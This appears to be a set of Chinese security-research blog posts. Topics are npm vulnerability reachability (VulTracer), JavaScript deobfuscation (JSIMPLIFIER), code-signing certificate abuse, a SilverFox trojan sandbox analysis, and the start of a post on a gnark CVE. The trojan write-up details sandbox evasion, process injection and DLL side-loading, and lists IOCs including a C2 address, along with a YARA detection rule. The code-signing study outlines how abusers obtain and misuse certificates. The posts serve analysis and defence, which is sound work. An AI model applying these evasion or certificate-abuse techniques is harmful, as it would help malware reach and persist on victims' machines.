最后,当需要检测某个具体项目时,VulTracer 不再需要深究源代码,而是像拼乐高积木一样,根据依赖关系,将预先计算好的 RSG 和契约进行组合式合成(Compositional Synthesis)形成一个新的生态级调用图 (ECG)。并且该 ECG 可根据任意真实项目的依赖关系按需组装。这种设计使得分析速度和扩展性得到了质的飞跃——在处理复杂的真实依赖图时,VulTracer 的成功率高达 99.41%,而对比的工具Jelly仅为 37.37%。

四、生态级实证研究:揭示漏洞传播的真相

在这项工作中,我们利用 VulTracer 对整个 npm 生态进行了史上最大规模的函数级漏洞传播影响分析。

4.1 数据集构建

首先我们构建了两个核心的数据集:

  • npm 生态数据集: 包含了 3,267,273个唯一npm包 以及其 34,685,976 个不同版本 。同时解析并构建了整个生态中超过9亿条的依赖关系。
  • 漏洞数据集:我们采用双维度选择策略,确保选择的漏洞样本既有代表性又有多样性。一是高影响力漏洞,从 2024 年下载量排行 TOP 10 的软件包 lodash, debug, semver, minimatch 这四个核心库中,找到了影响他们的6个CVE漏洞,每个软件包都有数十万直接依赖包,并且漏洞影响了超过百万的下游软件包。二是多样性维度,对齐 2024 CWE-Top-25 的类型,覆盖注入(CWE-79)、原型污染(CWE-1321)等21个不同类型的 CVE 漏洞,代表不同的攻击向量。最终我们的研究涵盖了27个CVE,涉及9,868,514条潜在传播路径

4.2 单跳分析:分析衰减的根本原因

我们首先聚焦于d₁ → d₀的单跳关系,这样可以排除多跳传播的复杂因素,精确归因。在我们的研究中建立了三层漏洞传播条件:仅引入模块 (C_mod)、调用任意函数 (C_func)、调用漏洞函数 (C_vuln_func)。定义如下图所示:

只有 C_mod ∧ C_func ∧ C_vuln_func 同时为真,才认为漏洞真正传播。最终单跳的分析结果如下表所示。

我们发现平均 22.80% 的直接依赖包声明了依赖,但从未导入任何模块(C_mod失败)。以 lodash 为例:存在 396,112 个声明依赖的包,但是有 131,933个”僵尸依赖” (33.31%)。这13万多个包背上了”有漏洞”的标签,但实际上完全不受影响。同时我们还发现,npm 第三方库的 API 设计决定传播率。同样的对于 lodash 这样一个综合工具库,拥有242个函数,但漏洞函数 template 只占所有调用的0.30%,排名第49位,详细分析如下图所示。说明这个函数的下游使用率并不高。与之相反的是 debug 库,它功能单一专注于调试,其核心功能函数就是其主函数,导致直接依赖者的受影响比例高达 71.77%。

4.3 多跳分析:揭示传递性衰减规律

单跳分析揭示了初始衰减,但漏洞会通过传递依赖传播多远?我们追踪了完整的传播路径。在分析中,我们追踪了9,868,514条潜在传播路径,涉及1,663,634个包版本。 最终不同漏洞的传播结果如下表所示。

在表格数据中, 以 CVE-2022-3517 (minimatch) 为例,数据揭示了粗粒度分析带来的严重误报问题。包级别分析报告了 497,595 条潜在传播路径,涉及 286,731 个受影响的包版本。然而,经由 VulTracer 的函数级可达性分析,确证受影响的包版本仅为 22,557 个。从全局统计维度来看,函数级分析所识别的受影响库数量平均仅为包级别分析结果的 31.72% 。这一数据统计表明,现有包级别依赖扫描工具产生的警报中,约 68.28% 属于漏洞代码不可达的误报(False Positives)。

最后,在上图也更进一步可视化了漏洞传播随依赖链路深度的衰减过程,分别从两个不同的视角来进行呈现。图(a)展示了每一跳(Hop)中新增受影响包数量的分布情况。对比显示,函数级别(红色曲线)的传播在 3 跳之后呈现出急剧的衰减趋势,与包级别(蓝色曲线)的长尾分布形成显著差异。这证实了真实的漏洞影响范围会随着依赖深度的增加而迅速减弱。而图 (b) 展示了传播过程中的累积概率分布情况进一步佐证了这一“浅层效应”:函数级传播曲线迅速收敛并达到平台期,数据显示 96.59% 的真实受影响包均收敛在 4 跳 的范围内。这意味着,尽管依赖图谱可能具有较深的层级结构,但具有实际威胁的漏洞传播主要局限于浅层依赖网络中。

五、结论:从噪声中提取信号

面对日益复杂的开源生态,我们的研究证明,传统的“版本比对”模式已经难以为继。由现有包级别工具识别出的潜在风险中,高达 68.28% 的漏洞代码实际上从未被调用 。换言之,近七成的“受影响”项目其实是安全的,并不需要火急火燎地去修复。这种高误报率不仅制造了巨大的“噪声”,更导致了严重的警报疲劳,反而掩盖了真正的威胁。因此,转向更细粒度的函数级可达性分析已是行业必经之路。通过 VulTracer,我们可以从噪声中提取出那 30% 的真实信号。这不仅能让开发者从无效的运维工作中解脱出来,更能让安全团队聚焦于真正具有可利用性的威胁。这才是让供应链安全治理走出困境、迈向精准防御的未来方向 。

一、当恶意代码穿上”隐身衣”:JavaScript混淆的现实威胁

打开一个可疑的JavaScript文件,你可能会看到这样的代码:

这不是乱码,而是攻击者精心设计的”隐身衣”——JavaScript代码混淆。这段看似天书般的代码,实际上可能隐藏着窃取用户数据、植入后门或发起网络攻击的恶意逻辑。

JavaScript作为互联网前端和客户端脚本的核心语言,在网页及各类网络应用中被广泛使用,这也使其成为了攻击者的首选目标。攻击者频繁利用JavaScript的动态特性,通过多层、多样化的混淆技术隐藏恶意代码,极大增加了安全分析的难度。

面对这一日益严峻的安全威胁,奇安信技术研究院星图实验室与北京邮电大学联合研究团队在NDSS 2026会议上发表了论文《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》。该论文由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

通过系统性文献调研和样本分析,研究团队将JavaScript混淆技术归纳为四大类共20种技术:词法级混淆(变量重命名、间接属性访问等5种)、语法级混淆(表达式转函数、特殊编码等6种)、语义级混淆(字符串数组、控制流平坦化等7种)和多层混淆(OB混淆、AI辅助混淆2种)。针对这些复杂化的混淆趋势,研究开发的综合性反混淆工具JSIMPLIFIER能够自动破解各种混淆技术,将晦涩的恶意代码还原为安全分析师能够快速理解的清晰形式。

二、现有反混淆工具的三重困境

当前的JavaScript反混淆工具面临着三个核心挑战,这些挑战严重限制了它们在实际安全分析中的应用效果。

输入处理的脆弱性: 现有工具在遇到不同语法、混合编码、打包器包装等”不规范”输入时经常直接崩溃。真实世界的恶意代码往往包含这些问题,导致工具连分析机会都没有。
分析策略的单一性: 静态分析工具无法处理运行时依赖的混淆(如动态代码生成),动态分析工具又难以应对大规模样本和安全风险。更关键的是,现有工具通常只针对特定混淆模式,缺乏对多层混淆的综合支持。以JSFireTruck恶意软件为例,这个一个月内感染26.9万网页的攻击使用了复杂的多层混淆,现有工具要么无法处理,要么只能部分解码。
输出可读性的缺失: 即使成功反混淆,输出代码仍充斥着_0x4f2a_0x1b3c等这样的无意义标识符,安全分析师需要花费大量时间才能理解代码逻辑,严重影响威胁响应效率。

三、JSIMPLIFIER的创新设计

针对以上挑战,我们提出了JSIMPLIFIER,一款集代码预处理、静态抽象语法树分析、动态执行跟踪和大语言模型(LLM)智能变量重命名与代码美化于一体的综合性反混淆工具。JSIMPLIFIER采用三阶段流水线架构,每个阶段专门解决一类核心问题,形成了从”输入修复”到”逻辑还原”再到”可读性提升”的完整处理链条。

预处理器:让”坏代码”变”好代码”(Preprocessor)

预处理器是整个系统的基石,负责将各种”问题代码”标准化为可分析的格式。它首先进行代码有效性检查,使用容错性强的Meriyah解析器,即使面对不同灵活语法或不完整的代码也能生成完整的抽象语法树(AST)。接着进行词法清理,系统性地处理字符编码冲突,比如将过时的八进制转义序列(如\302)转换为标准的十六进制格式(如\xC2),并重建被分割的多字节UTF-8字符。在语义兼容化阶段,系统将遗留的JavaScript构造替换为跨平台等价物,确保在现代JavaScript环境中的兼容性。最后通过结构优化,利用AST作用域链遍历解决声明冲突,将代码重构为严格模式兼容的形式。

反混淆器:静态与动态的完美协作(Deobfuscator)

反混淆器采用混合分析设计,巧妙结合静态AST分析和受控动态执行。

增强的静态AST分析 方面,JSIMPLIFIER配备强化表达式求值引擎,专门处理混淆代码中的复杂构造:对于LogicalExpressions,实现正确的短路求值处理嵌套的&&||链(如False && anything直接返回False);对于ES6解构赋值如[a, b, c] = [getValue(), obj.prop, func.call(this)],JSIMPLIFIER扩展AssignmentExpression处理,解析左侧模式结构并递归遍历嵌套数组模式,将每个元素位置映射到对应的右侧值;对于UnaryExpressions中的环境检测代码如typeof window !== 'undefined',JSIMPLIFIER维护excludedNames白名单(包含window、document、navigator等关键全局变量),避免静态求值破坏环境特定的代码路径。

受控动态执行监控 方面,JSIMPLIFIER首先进行预执行风险评估,扫描危险关键字组合(push、shift、eval、await)识别可能导致无限循环或递归死锁的代码模式,并通过函数依赖映射追踪混淆函数间的调用关系。然后使用Node.js的vm.runInNewContext创建隔离执行环境,每个混淆代码段在独立的沙箱VM实例中运行,无法访问文件系统、网络或全局对象,仅暴露必要的内置对象。JSIMPLIFIER实现了全面的安全机制,包括执行超时防止进程挂起、递归深度限制防止无限循环、内存监控防止资源耗尽攻击。

混合分析协调技术 通过双向信息流实现两种分析方法的有机融合。在静态到动态的移交中,当静态分析遇到无法安全求值的CallExpression时(如函数调用者通过变量查找确定、涉及运行时代码生成的调用、依赖运行时状态的调用),JSIMPLIFIER的canbetransformed标记机制识别这些表达式并打包上下文信息传递给动态执行监控。在动态到静态的反馈整合中,动态执行结果经过类型感知处理后重新整合到静态AST:简单数据类型直接转换为字面量AST节点,函数结果解析为FunctionExpression节点,复杂对象通过JSON序列化确保安全表示,同时更新作用域链中的变量绑定并触发依赖代码段的重新分析。

人性化器:从机器码到人类语言(Humanizer)

虽然反混淆器成功恢复了程序逻辑,但结果往往仍然难以阅读。人性化器通过LLM技术将机械正确但晦涩的代码转化为专业、可读的形式。在智能标识符重命名方面,JSIMPLIFIER可以利用多种LLM模型(GPT、Gemini、本地模型等)进行上下文感知的变量和函数重命名,将无意义的混淆标识符替换为语义明确的名称。同时通过专业代码美化,集成Prettier格式化工具,确保输出符合行业标准的代码规范,包括一致的缩进、标准化的括号放置和规范的引号使用,最终生成既功能正确又易于理解的高质量代码。

四、最大规模验证与突破性成果

全面的数据集构建

为公正全面地评估工具性能,我们构建了业界最大的真实JavaScript混淆数据集进行验证。MalJS数据集包含23,212个野生恶意样本(平均391.78KB),这些样本来自超过1000万个真实恶意代码中的精选,覆盖所有已知的20种混淆技术。BenignJS数据集包含21,209个良性样本(平均41.40KB),来源于GitHub热门项目和合法网站。这两个数据集提供了真实世界中多样化和多层混淆技术的样本,远超现有数据集仅包含人工生成样本的局限。

全面的技术覆盖突破

实验评估采用了多个互补维度进行综合测评。在反混淆能力评估中(表II),JSimplifier实现了对全部20种混淆技术的100%处理能力和100%正确率,远超现有工具。与13种现有方法(包括10种传统工具和3种基于LLM的方案)的对比表明,传统工具在面对复杂语义级混淆时表现不足,而即便是先进的LLM方案也难以处理最复杂的混淆方法。

显著的代码简化效果

在代码简化评估中,JSimplifier在多个维度上展现了卓越的性能。首先,工具在CombiBench基准测试上达到了0.8820的Halstead长度减少分数——这一指标衡量代码中操作符和操作数的数量变化,分数越高说明代码复杂度降低更多。JSimplifier实现的88.2%复杂度降低意味着反混淆后的代码比原始混淆代码简单了近9成,显著超越了现有工具。

此外,研究团队还采用熵值分析来量化代码的随机性和混乱程度。熵值越低,代码的结构越清晰、可读性越强。大规模评估显示,JSimplifier在全部44,421个样本上实现了显著的熵值降低(如图2)——无论是AST结构熵(衡量代码语法树的复杂度)还是代码文本熵(衡量文本层面的混乱度)均达到最低中位值,充分证明了工具在真实场景中的有效性。

质的可读性飞跃

为验证代码可读性提升,研究团队采用了多个先进LLM模型(Claude 3.7 Sonnet、Gemini 2.5 Pro、DeepSeek-R1、GPT-o3)进行独立评估。这些模型对代码可读性进行0-10分的打分,其中0分代表完全不可读,10分代表极易理解。评估结果如下表所示,JSimplifier实现了平均466.94%的可读性提升,将难以理解的混淆代码(评分1.02-1.81,接近完全不可读)转化为适合安全分析的清晰代码(评分6.21-7.83,达到良好可读性水平)。

此外,研究团队还进行了用户研究,邀请9名不同专业水平的参与者(新手、中级、专家各3名)分析混淆样本。结果表明JSimplifier显著提升了分析准确率(新手提升12.7%)并大幅减少了分析时间(中级用户减少47.7%),主观评分在可读性、清晰度和逻辑性方面均显著提高。用户研究显示,工具显著提升了分析准确率(新手提升12.7%)并大幅减少了分析时间(中级用户减少47.7%)。一位中级参与者评价道:”变量重命名让我能够快速跟踪逻辑流程,我可以在几分钟内识别出可疑的网络调用,而不是在整个分析过程中大海捞针。”

实战验证:破解JSFireTruck的”密码”

JSFireTruck恶意软件活动是JSIMPLIFIER实战能力的最佳证明。这个复杂的攻击活动仅使用六个ASCII字符!+就构建了极其复杂的混淆代码,传统工具几乎束手无策。

原始混淆代码(部分):

JSIMPLIFIER反混淆结果:

通过JSIMPLIFIER,安全分析师可以清晰地看到攻击逻辑:检测搜索引擎来源、注入恶意iframe、重定向到攻击域名。这种从”天书”到”明文”的转换,极大提升了威胁分析和响应的效率,展现了工具在真实安全分析场景中的实用价值。

五、结论:从”混乱”到”清晰”的技术突破

JSIMPLIFIER的成功体现了针对JavaScript混淆这一具体安全问题的有效解决方案。通过将静态分析、动态执行和LLM技术相结合,该工具在处理复杂混淆代码方面取得了显著进展。

技术贡献的实际价值主要体现在三个方面:三阶段流水线架构有效解决了输入多样性、分析复杂性和输出可读性的问题;静态与动态分析的协调机制克服了单一方法的局限性;LLM技术的合理应用显著改善了代码的人机交互体验。这些技术改进为反混淆工具的发展提供了新的参考方向。

实验验证的充分性通过大规模真实数据集得到了有力支撑。在44,421个样本上的测试结果——100%的技术覆盖率、88.2%的复杂度降低、466.94%的可读性提升——证明了该方法的有效性。JSFireTruck等真实案例的成功处理进一步验证了工具在实际安全分析场景中的实用价值。

当然,JavaScript混淆技术仍在不断发展,新的挑战也会持续出现。JSIMPLIFIER的模块化设计为应对这些变化提供了一定的灵活性。我们期待通过持续的技术改进和社区合作,进一步提升JavaScript安全分析的效率和准确性。

目前,JSimplifier及对应数据集已开源发布,面向安全研究和防护社区共享。未来工作将继续优化工具性能,扩展对更多混淆技术的支持,为脚本安全分析提供更好的技术工具。

项目开源地址:https://github.com/XingTuLab/JSIMPLIFIER

论文链接:https://arxiv.org/abs/2512.14070

一、代码签名沦为恶意软件的“护身符”

当你在运行某个软件时,看到如下所示的弹框,“已验证的发布者:XXX有限公司”,你是否会不假思索地点击“是”?然而,大量安全事件表明这样的信任已经被攻击者滥用,看似安全的软件来源可能来自于精心设计的伪装。

近年来,软件供应链安全事件频发,为了保护软件真实性与完整性,代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术,旨在确保软件来自真实来源且软件内容未被篡改。当终端用户安装或以管理员权限运行软件时,操作系统会验证代码签名的有效性,帮助用户判断此软件是否值得信任(如上图所示)。然而,攻击者有时会反过来利用代码签名 PKI 信任体系中的安全缺陷,通过某种手段为恶意软件配置代码签名,帮助恶意软件绕过操作系统和杀毒软件的检查,我们称之为“代码签名滥用”

为了应对代码签名滥用带来的安全威胁,奇安信技术研究院星图实验室与清华大学、中关村实验室联合研究团队在 NDSS 2026 会议上发表了论文《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》。这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成,导师为段海新教授(清华大学)和应凌云博士(奇安信星图实验室)。其他作者分别为张一铭(清华大学)、张明明(中关村实验室)、刘保君(清华大学)、游子权(清华大学)、张书豪(奇安信星图实验室)。

在这项工作中,我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件,对 Windows 代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法,我们检测到了 43,286 张滥用证书,构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在,影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了五种滥用者的攻击策略,并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

二、代码签名研究的三大挑战

与传统的 Web PKI 不同,代码签名 PKI 测量研究存在三大挑战:

  1. 缺少大规模数据集:在 Web PKI 中,研究者可以通过 TLS 扫描主动收集数据或被动分析 TLS 流量。Censys 和 Rapid7 等公共数据集也能为测量工作提供支持。此外,证书透明度(CT)机制提供了 CA 颁发记录,方便研究者批量获取证书数据。然而,代码签名生态系统相对封闭,无法通过主动扫描或 CT 等手段获取大规模数据集,这是制约代码签名测量研究的最大障碍。
  2. 缺少 Ground Truth:尽管近年来代码签名滥用事件频发,但是学术界尚未找到代码签名滥用检测分类相关的 Ground Truth,以往基于签发行为的分类方法被证实可能会被攻击者绕过。这阻碍了对代码签名证书进行标注和聚类分析。
  3. 问题根源难以溯源:CA 端的操作和实现并不透明,即便定位到代码签名滥用行为,也难以由此溯源到造成滥用的根源所在,导致无法提出有针对性的缓解措施。

我们的工作分别通过综合公共数据集与私有沙箱样本设计基于撤销信息的滥用检测分类算法按照不同滥用类型作细粒度分析等方法解决了以上三大挑战。

三、代码签名滥用测量的创新方法设计

为了解决以上挑战,我们提出了针对代码签名滥用测量的一系列创新方法设计,以实现大规模、细粒度、可溯源的滥用测量分析。

数据收集方面,我们综合了公共数据集与私有沙箱样本。我们收集了公共恶意软件存储库 VirusShare 在 2020 年 10 月至 2024 年 10 月期间发布的所有样本,经过过滤保留了 176,968 个签名 PE 样本。此外,我们还从合作公司沙箱中补充收集了 3,828,744 个签名的 PE 文件。两个数据集通过合并去重后共得到 3,962,788 个签名样本,通过反病毒引擎分析最终筛选出了 3,216,113 个恶意签名样本。此外,我们还从多个维度对样本特征进行了扩充,比如爬取 CRL 撤销信息、收集样本恶意行为分析报告等,以实现更精准的检测与分析。

为了实现细粒度的分析,我们提出了一种代码签名滥用检测分类算法。受益于近年来 CA 撤销透明度的改善,我们得以通过已撤销证书被披露的撤销原因(Revocation Reason)来推知证书滥用背后的原因。我们依据样本对应的 SignTool 输出结果、CRL 撤销信息以及 OpenCorporates 查询结果设计了新的检测分类方法,将滥用分为签名复制、私钥窃取、身份盗用、空壳公司、自签证书等五种滥用类型。不同的滥用类型采取了不同的滥用手段,其产生的安全威胁与影响范围也有所不同。对于私钥窃取、身份盗用以及空壳公司这三类相对高级的滥用类型而言,由于攻击者掌握受信任证书的私钥,他们可以任意为恶意软件进行签名且不会触发操作系统的安全告警,具有隐蔽性强、影响范围大的特点。

此外,我们还设计了一种基于 LLM 的证书关联方法,通过输入证书主题字段以及公钥信息来推断滥用证书是否来自同一攻击者。这一方法不仅帮助我们扩展标记了 287 张未标记滥用证书,还以此聚类得到了 3,484 个证书多态类簇,为后续滥用策略分析提供支撑。

四、核心贡献与关键发现

构建迄今最大的滥用标记数据集

利用代码签名滥用检测分类算法,我们最终收集到了 3,216,113 个来自真实世界的已签名的恶意 PE 文件,从中提取得到了 43,286 张滥用证书,构建了迄今为止最大的代码签名滥用标记数据集。值得注意的是,其中有 23,252 张滥用证书由公共可信 CA 颁发,我们的工作重点关注这些具有高威胁的证书样本。

对滥用生态开展全面测量

我们利用上述代码签名滥用标记数据集对滥用生态开展了全面而深入的测量分析工作。分析发现当前代码签名滥用现象普遍存在,影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现部分 CA 明显更受攻击者青睐,且与市场份额与证书价格无关,这可能反映出某些 CA 对于证书申请者的身份审核存在漏洞。

良性样本与恶意样本代码签名中的 CA 分布对比

首次发现“幽灵证书”

阻止滥用证书的唯一有效手段是证书撤销,测量发现为恶意软件签名的滥用证书撤销率仅为 17.56%。我们首次发现了制约撤销率提高的关键因素——“幽灵证书”,即已被确定为滥用却无法被撤销的证书。这些证书由于其颁发者证书过期、撤销或停止运营导致撤销设施(CRL/OCSP)失效,即使识别到滥用行为也无法发布撤销信息,而它们的代码签名即使在签名证书过期后由于时间戳(TSA)的存在依然有效。我们发现已确认被滥用但仍未被撤销的证书中至少有 38.96% 符合“幽灵证书”的条件。

“幽灵证书”示意图

发现五种滥用策略

为了找到当前代码签名 PKI 的安全缺陷并提出有针对性的缓解措施,我们深入分析了攻击者的行为和策略。我们通过分析标记数据集总结出了五种滥用策略,旨在逃避检查、降低成本和扩大攻击影响。例如,在证书申请阶段,攻击者可能会利用不同国家之间 CA 身份审查宽松程度的差异有选择性地申请证书(比如假以越南、亚美尼亚等国公司的身份进行申请)。在证书签名阶段,攻击者可能会为恶意软件精心配置“双签名”,通过附加兼容旧密码算法的签名来扩大攻击影响范围。

深入挖掘证书多态现象

证书多态也是攻击者常用的滥用策略之一。证书多态是指同一实体使用相同(或稍有修改)身份向相同或不同的 CA 申请多张证书的现象。借助证书多态,攻击者可以以相对较低的成本批量获得多个证书(避免注册多个空壳公司带来的巨额开销),同时逃避 CA 撤销的检查(一张证书被撤销不影响其他证书)。我们通过证书关联方法识别了 3,484 个证书多态类簇,发现了 315 个利用多态绕过撤销检查的真实案例。此外,我们还首次发现了利用特殊字符实施证书多态的实例(如下图所示)。

利用特殊字符实施证书多态的示意图

五、总结

代码签名是验证发布者身份并确保软件完整性的重要机制。然而,我们的研究发现代码签名滥用已经成为了软件生态的重大安全威胁之一。我们对现实世界的代码签名滥用生态系统进行了大规模测量研究,开发了一种针对证书滥用类型的细粒度检测分类方法,获得了迄今为止最大的滥用证书标记数据集(43,286 个证书)。利用该数据集,我们对代码签名生态系统与攻击者行为进行了全面而深入的分析,揭示了攻击者一系列的代码签名滥用策略。

我们认为造成代码签名滥用持续泛滥的安全缺陷主要来自于 CA 端,包括颁发过程缺乏标准化、消极的滥用治理等。我们建议 CA 增强证书颁发与撤销的透明度(比如建立 CT)、主动监测野外滥用行为、为证书主题字段建立统一标准。同时,我们也希望 Windows 做出相应调整以缓解“幽灵证书”的影响。

最后,本文构建的代码签名滥用数据集已开源发布,期待能为后续研究工作提供参考。我们希望安全社区能够给予代码签名领域更多关注,以更好地维护健康的软件生态。感谢您的阅读!

论文&项目开源地址:https://github.com/XingTuLab/Code_Signing_Abuse_Dataset

一、概述

近期,天穹沙箱团队在追踪银狐家族的攻击活动时,发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术,并结合隐蔽的进程注入与DLL侧载(DLL Side-Loading)等手段,以规避安全检测,实现持久驻留于受害者主机。

二、样本信息

  • 样本名: Rar0092_v3.53.278_2xdcey.exe
  • SHA1:50715a3abd66e17654255b7881b035d006dce605
  • 文件类型:EXE
  • 文件大小:127.03 MB
  • 家族归属:银狐家族
  • 报告链接:天穹沙箱分析报告

三、样本分析

该样本具备高度隐蔽性,在执行过程中反复侦测运行环境,其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力,成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为,还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。

图1 攻击流程

1、反调试检测

首先,样本运行后先检测自身是否处于调试状态,通过检查 PEB->BeingDebugged 字段识别当前是否被用户态调试器附加调试。
接着,调用 NtQuerySystemInformation(SystemBasicInformation) 接口获取当前系统基本信息,检测 CPU 核心数量是否满足 >= 3 核,以及物理内存大小是否满足 >= 3G,样本依据上述硬件配置判断是否处于沙箱分析环境。

图2 反调试检测

当以上检测要求通过后,样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探,外部函数调用均通过手动查找 LDR 链表获取模块基址,再解析 PE 头获取函数地址,增加函数调用的隐蔽性。
这类多层环境感知检查被深度内嵌在代码执行流的关键节点上,形成贯穿始终的对抗屏障,阻碍安全人员的动态调试和静态分析。

2、伪装安装程序

环境检测通过后,样本再度检查自身是否具有管理员权限,权限满足后会在 C:\\ProgramData 目录下创建随机字符串的目录,并释放多个文件:

app.exe._ (MD5:f041793908111b5395226bc9ed5e6698)
README.md (MD5:daa5414f94d8f43925efffd79979cf75)
View.dat (MD5:c2db56df94b92d6370c87303d1506f54)
Web.dat (MD5:937ab7f863261a046ba3dd46df7cb270)
åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1)
View.conf (MD5:85fac9d703132b9a28beb11d8ec3d181)
alt text
图3 创建目录释放文件

其中 åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1) 为腾讯应用宝的可信安装程序,其余文件为样本后续阶段运行的加密 payload。
为掩盖程序真实意图,样本在释放恶意文件后,调用 WdcRunTaskAsInteractiveUser 接口运行腾讯应用宝安装程序,制造正常操作的假象,欺骗用户。随后,样本隐蔽地拉起 app.exe 进程,进入下一阶段的恶意操作。

图4 伪装程序

3、Payload 加载与执行

第一阶段: View.dat 文件 payload 为 raw 数据,样本通过 VirtualAlloc 分配内存,将 payload 解密后写入内存,并调用 CreateThread 函数创建线程执行该段 payload。
解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode,会加载 raw 数据中夹带的 DLL 文件,并调用其入口函数 DllEntryPoint 进入下一阶段逻辑。

图5 加载 payload

第二阶段: 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程,并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)

图6 注入 payload

值得说明的是,在本阶段执行注入操作时样本会判断运行环境,高版本 Windows 系统将使用 PoolParty (泳池派对) 注入技术。
注入的恶意代码会在用户目录下释放两个文件:WebViewHelper.exe 和 libcef.dll,其中 WebViewHelper.exe 为具备合法签名的白文件,被用来加载黑文件 libcef.dll,达到混淆视听的目的。

图7 释放文件

svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程,进入下一阶段逻辑。

第三阶段: WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测,包括判断运行环境、所属 session 以及管理员权限等,检测通过后与 C2 服务器建立通信。

图8 环境检测
图9 网络通信
图10 样本攻击链

整个攻击链逻辑错综复杂,层层递进,分析难度极大。同时,攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听,进一步干扰了用户和安全人员的判断。

四、IOC

恶意文件(MD5)

481577b35e4d09510c49d78f5c3fa98c    Rar0092_v3.53.278_2xdcey.exe
0c0d6806bb8caf68d4dfa5208db52a17    app.exe
f041793908111b5395226bc9ed5e6698    app.exe._
daa5414f94d8f43925efffd79979cf75    README.md
c2db56df94b92d6370c87303d1506f54    View.dat
937ab7f863261a046ba3dd46df7cb270    Web.dat
34f435f15a846ae677f88ea412c074d1    åº ç ¨å® .exe
85fac9d703132b9a28beb11d8ec3d181    View.conf
c154442ddf6363b6ac5822e47028d672    WebViewHelper.exe
74be16979710d4c4e7c6647856088456    libcef.dll

恶意IOC

192.238.201.32[:]30009              C2 地址

报告链接

分析报告:天穹沙箱分析报告

五、检出规则

天穹沙箱已针对该银狐变种样本编写如下YARA规则,供用户参考使用:

rule Trojan_SilverFox
{
    meta:
        description = "银狐变种的检测"
        date = "2026-01-04"
    strings:
        $seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }

        $seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }

    condition:
        all of them
}

六、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

前期提要

在2025 年 8 月,腾讯玄武实验室的阿图因自动化漏洞挖掘引擎在零知识证明库 gnark 中发现了一个高危漏洞(CVE-2025-57801,CVSS 8.6)。之后,玄武实验室联合上海交通大学 GOSSIP 实验室及郁昱教授团队共同完成了漏洞复现。

2025 年 8 月,腾讯玄武实验室基于大模型能力构建的自动化漏洞挖掘引擎 Atuin 在零知识证明(ZKP)库 gnark 的签名验证电路中发现一处高危漏洞,并获得编号 CVE-2025-57801(CVSS 8.6)。该问题本质上属于签名可塑性(Signature Malleability):在电路约束不完备的情况下,攻击者可以在不改变公共输入(交易内容/消息等)的前提下,构造出不同但仍能通过验证的签名见证,从而破坏“签名唯一性/不可重放性”这一常被上层协议默认成立的安全前提。

之所以需要严肃对待这类缺陷,是因为 gnark 作为工程化程度很高的 ZKP 库,被广泛用于 ZK-Rollup 等扩容场景;一旦 Operator/业务电路直接复用存在缺陷的“原生(native)签名验证”实现,那么攻击者就可能基于一笔真实交易派生出“内容相同但签名不同”的伪造版本,进而在某些以签名字段(如 R/S)派生 nullifier、反重放标识或约束逻辑的系统里引发重复执行/重复结算等连锁风险。

